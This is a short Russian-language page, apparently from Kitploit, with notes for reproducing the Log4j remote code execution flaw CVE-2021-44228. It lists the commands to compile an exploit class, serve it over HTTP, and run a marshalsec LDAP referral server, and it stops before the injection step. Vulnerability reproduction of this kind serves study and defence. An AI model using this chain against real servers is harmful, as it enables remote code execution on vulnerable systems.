Log4j-Rec-CVE-2021-44228 — Apache Log4j CVE-2021-44228 漏洞复现 | Kitploit

Log4j-Rec-CVE-2021-44228 — Apache Log4j CVE-2021-44228 漏洞复现 | Kitploit

Поделиться

Заметки по воспроизведению Log4j2, только для обучения

Ссылка: https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce

Создание исполняемого файла

com/example/template

javac Log4jRCE.java

Запуск HTTP-сервера, встроенного в Python

com/example/template
python -m http.server 8888

Запуск LDAP-сервера

tools
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"

Имитация инъекционной атаки: отправка формы